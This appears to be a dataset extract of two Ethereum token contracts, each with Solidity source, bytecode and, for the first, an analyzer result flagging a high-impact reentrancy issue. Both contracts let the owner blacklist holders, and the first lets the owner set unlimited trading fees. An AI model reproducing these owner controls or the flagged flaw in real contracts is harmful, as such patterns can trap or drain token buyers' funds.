for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610523578063dd62ed3e14610543578063ea1644d514610589578063f2fde38b146105a957600080fd5b8063a2a957bb1461049e578063a9059cbb146104be578063bfd79284146104de578063c3c8cd801461050e57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b41146101fe57806398a5c3151461047e57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192d565b6105c9565b005b34801561020a57600080fd5b50604080518082018252600881526715da5b1910dd5b1d60c21b6020820152905161023591906119f2565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a47565b610668565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611a73565b61067f565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060155461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ab4565b6106e8565b34801561036957600080fd5b506101fc610378366004611ae1565b610733565b34801561038957600080fd5b506101fc61077b565b34801561039e57600080fd5b506102bd6103ad366004611ab4565b6107c6565b3480156103be57600080fd5b506101fc6107e8565b3480156103d357600080fd5b506101fc6103e2366004611afc565b61085c565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611ab4565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611ae1565b61088b565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b506101fc610499366004611afc565b6108d3565b3480156104aa57600080fd5b506101fc6104b9366004611b15565b610902565b3480156104ca57600080fd5b5061025e6104d9366004611a47565b610940565b3480156104ea57600080fd5b5061025e6104f9366004611ab4565b60106020526000908152604090205460ff1681565b34801561051a57600080fd5b506101fc61094d565b34801561052f57600080fd5b506101fc61053e366004611b47565b6109a1565b34801561054f57600080fd5b506102bd61055e366004611bcb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059557600080fd5b506101fc6105a4366004611afc565b610a42565b3480156105b557600080fd5b506101fc6105c4366004611ab4565b610a71565b6000546001600160a01b031633146105fc5760405162461bcd60e51b81526004016105f390611c04565b60405180910390fd5b60005b81518110156106645760016010600084848151811061062057610620611c39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065c81611c65565b9150506105ff565b5050565b6000610675338484610b5b565b5060015b92915050565b600061068c848484610c7f565b6106de84336106d985604051806060016040528060288152602001611d7f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bb565b610b5b565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075d5760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b057506013546001600160a01b0316336001600160a01b0316145b6107b957600080fd5b476107c3816111f5565b50565b6001600160a01b0381166000908152600260205260408120546106799061122f565b6000546001600160a01b031633146108125760405162461bcd60e51b81526004016105f390611c04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108865760405162461bcd60e51b81526004016105f390611c04565b601655565b6000546001600160a01b031633146108b55760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fd5760405162461bcd60e51b81526004016105f390611c04565b601855565b6000546001600160a01b0316331461092c5760405162461bcd60e51b81526004016105f390611c04565b600893909355600a91909155600955600b55565b6000610675338484610c7f565b6012546001600160a01b0316336001600160a01b0316148061098257506013546001600160a01b0316336001600160a01b0316145b61098b57600080fd5b6000610996306107c6565b90506107c3816112b3565b6000546001600160a01b031633146109cb5760405162461bcd60e51b81526004016105f390611c04565b60005b82811015610a3c5781600560008686858181106109ed576109ed611c39565b9050602002016020810190610a029190611ab4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3481611c65565b9150506109ce565b50505050565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016105f390611c04565b601755565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b038116610b005760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f3565b6001600160a01b038216610c1e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f3565b6001600160a01b038216610d455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f3565b60008111610da75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f3565b6000546001600160a01b03848116911614801590610dd357506000546001600160a01b03838116911614155b156110b457601554600160a01b900460ff16610e6c576000546001600160a01b03848116911614610e6c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f3565b601654811115610ebe5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f3565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0057506001600160a01b03821660009081526010602052604090205460ff16155b610f585760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f3565b6015546001600160a01b03838116911614610fdd5760175481610f7a846107c6565b610f849190611c80565b10610fdd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f3565b6000610fe8306107c6565b6018546016549192508210159082106110015760165491505b8080156110185750601554600160a81b900460ff16155b801561103257506015546001600160a01b03868116911614155b80156110475750601554600160b01b900460ff165b801561106c57506001600160a01b03851660009081526005602052604090205460ff16155b801561109157506001600160a01b03841660009081526005602052604090205460ff16155b156110b15761109f826112b3565b4780156110af576110af476111f5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f657506001600160a01b03831660009081526005602052604090205460ff165b8061112857506015546001600160a01b0385811691161480159061112857506015546001600160a01b03848116911614155b15611135575060006111af565b6015546001600160a01b03858116911614801561116057506014546001600160a01b03848116911614155b1561117257600854600c55600954600d555b6015546001600160a01b03848116911614801561119d57506014546001600160a01b03858116911614155b156111af57600a54600c55600b54600d555b610a3c8484848461143c565b600081848411156111df5760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611c98565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610664573d6000803e3d6000fd5b60006006548211156112965760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f3565b60006112a061146a565b90506112ac838261148d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fb576112fb611c39565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134f57600080fd5b505afa158015611363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113879190611caf565b8160018151811061139a5761139a611c39565b6001600160a01b0392831660209182029290920101526014546113c09130911684610b5b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f9908590600090869030904290600401611ccc565b600060405180830381600087803b15801561141357600080fd5b505af1158015611427573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611449576114496114cf565b6114548484846114fd565b80610a3c57610a3c600e54600c55600f54600d55565b60008060006114776115f4565b9092509050611486828261148d565b9250505090565b60006112ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611634565b600c541580156114df5750600d54155b156114e657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150f87611662565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154190876116bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115709086611701565b6001600160a01b03891660009081526002602052604090205561159281611760565b61159c84836117aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160f828261148d565b82101561162b57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116555760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611d3d565b600080600080600080600080600061167f8a600c54600d546117ce565b925092509250600061168f61146a565b905060008060006116a28e878787611823565b919e509c509a509598509396509194505050505091939550919395565b60006112ac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bb565b60008061170e8385611c80565b9050838110156112ac5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f3565b600061176a61146a565b905060006117788383611873565b306000908152600260205260409020549091506117959082611701565b30600090815260026020526040902055505050565b6006546117b790836116bf565b6006556007546117c79082611701565b6007555050565b60008080806117e860646117e28989611873565b9061148d565b905060006117fb60646117e28a89611873565b905060006118138261180d8b866116bf565b906116bf565b9992985090965090945050505050565b60008080806118328886611873565b905060006118408887611873565b9050600061184e8888611873565b905060006118608261180d86866116bf565b939b939a50919850919650505050505050565b60008261188257506000610679565b600061188e8385611d5f565b90508261189b8583611d3d565b146112ac5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f3565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c357600080fd5b803561192881611908565b919050565b6000602080838503121561194057600080fd5b823567ffffffffffffffff8082111561195857600080fd5b818501915085601f83011261196c57600080fd5b81358181111561197e5761197e6118f2565b8060051b604051601f19603f830116810181811085821117156119a3576119a36118f2565b6040529182528482019250838101850191888311156119c157600080fd5b938501935b828510156119e6576119d78561191d565b845293850193928501926119c6565b98975050505050505050565b600060208083528351808285015260005b81811015611a1f57858101830151858201604001528201611a03565b81811115611a31576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5a57600080fd5b8235611a6581611908565b946020939093013593505050565b600080600060608486031215611a8857600080fd5b8335611a9381611908565b92506020840135611aa381611908565b929592945050506040919091013590565b600060208284031215611ac657600080fd5b81356112ac81611908565b8035801515811461192857600080fd5b600060208284031215611af357600080fd5b6112ac82611ad1565b600060208284031215611b0e57600080fd5b5035919050565b60008060008060808587031215611b2b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5c57600080fd5b833567ffffffffffffffff80821115611b7457600080fd5b818601915086601f830112611b8857600080fd5b813581811115611b9757600080fd5b8760208260051b8501011115611bac57600080fd5b602092830195509350611bc29186019050611ad1565b90509250925092565b60008060408385031215611bde57600080fd5b8235611be981611908565b91506020830135611bf981611908565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7957611c79611c4f565b5060010190565b60008219821115611c9357611c93611c4f565b500190565b600082821015611caa57611caa611c4f565b500390565b600060208284031215611cc157600080fd5b81516112ac81611908565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1c5784516001600160a01b031683529383019391830191600101611cf7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7957611d79611c4f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202410c03f1150dba1a9e66ab4651052468d7a17cd6bdcbb65b39ea0ffc6732c2464736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,926 |
0x9353b22eda89e63d706434d64715e2e158110986
|
/*
__ __ ______ __ __ ______ ______ __ __ ______ ______
/\ \_\ \ /\ ___\ /\ \_\ \ /\ ___\ /\ == \ /\ \_\ \ /\ == \ /\__ _\
\ \ __ \ \ \ __\ \ \____ \ \ \ \____ \ \ __< \ \____ \ \ \ _-/ \/_/\ \/
\ \_\ \_\ \ \_____\ \/\_____\ \ \_____\ \ \_\ \_\ \/\_____\ \ \_\ \ \_\
\/_/\/_/ \/_____/ \/_____/ \/_____/ \/_/ /_/ \/_____/ \/_/ \/_/
*/
//https://t.me/heycryptmessenger
//https://heycrypt.io
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HeyCrypt is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tfee;
uint256 private _mfee;
uint256 private _sellFee;
uint256 private _buyFee;
address payable private _feeAddress;
string private constant _name = unicode"HeyCrypt";
string private constant _symbol = unicode"HeyCrypt";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingStarted;
bool private inSwap = false;
bool private swapEnable = false;
bool private removeMaxTxn = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxHeldAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxHeldAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_buyFee = 10;
_sellFee = 12;
_feeAddress = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTxn(bool onoff) external onlyOwner() {
removeMaxTxn = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_tfee = 0;
_mfee = _buyFee;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTxn) {
uint walletBalance = balanceOf(address(to));
require(amount <= _maxTxAmount);
require(amount.add(walletBalance) <= _maxHeldAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_tfee = 0;
_mfee = _sellFee;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnable) {
uint burnAmount = contractTokenBalance/6;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount , uint256 maxHeldAmount) external onlyOwner() {
if (maxTxAmount > 300000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
_maxHeldAmount = maxHeldAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingStarted,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnable = true;
removeMaxTxn = true;
_maxTxAmount = 300000000000 * 10**9;
_maxHeldAmount = 1000000000000 * 10**9;
tradingStarted = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tfee, _mfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function setFee(uint256 buyFee, uint256 sellFee)external onlyOwner() {
if (sellFee <= _sellFee && buyFee <= _buyFee) {
_buyFee = buyFee;
_sellFee = sellFee;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb1461030b578063b515566a1461032b578063c3c8cd801461034b578063c9567bf914610360578063dd62ed3e1461037557600080fd5b8063715018a614610299578063733ec069146102ae5780638da5cb5b146102ce57806395d89b411461012f5780639e78fb4f146102f657600080fd5b80632b51106a116100e75780632b51106a14610208578063313ce5671461022857806352f7c988146102445780636fc3eaec1461026457806370a082311461027957600080fd5b806306fdde031461012f578063095ea7b31461016f57806318160ddd1461019f57806323b872dd146101c6578063273123b7146101e657600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082018252600881526712195e50dc9e5c1d60c21b6020820152905161016691906118fe565b60405180910390f35b34801561017b57600080fd5b5061018f61018a36600461177c565b6103bb565b6040519015158152602001610166565b3480156101ab57600080fd5b5069152d02c7e14af68000005b604051908152602001610166565b3480156101d257600080fd5b5061018f6101e136600461173b565b6103d2565b3480156101f257600080fd5b506102066102013660046116c8565b61043b565b005b34801561021457600080fd5b50610206610223366004611874565b61048f565b34801561023457600080fd5b5060405160098152602001610166565b34801561025057600080fd5b5061020661025f3660046118ae565b6104d7565b34801561027057600080fd5b50610206610529565b34801561028557600080fd5b506101b86102943660046116c8565b610560565b3480156102a557600080fd5b50610206610582565b3480156102ba57600080fd5b506102066102c93660046118ae565b6105f6565b3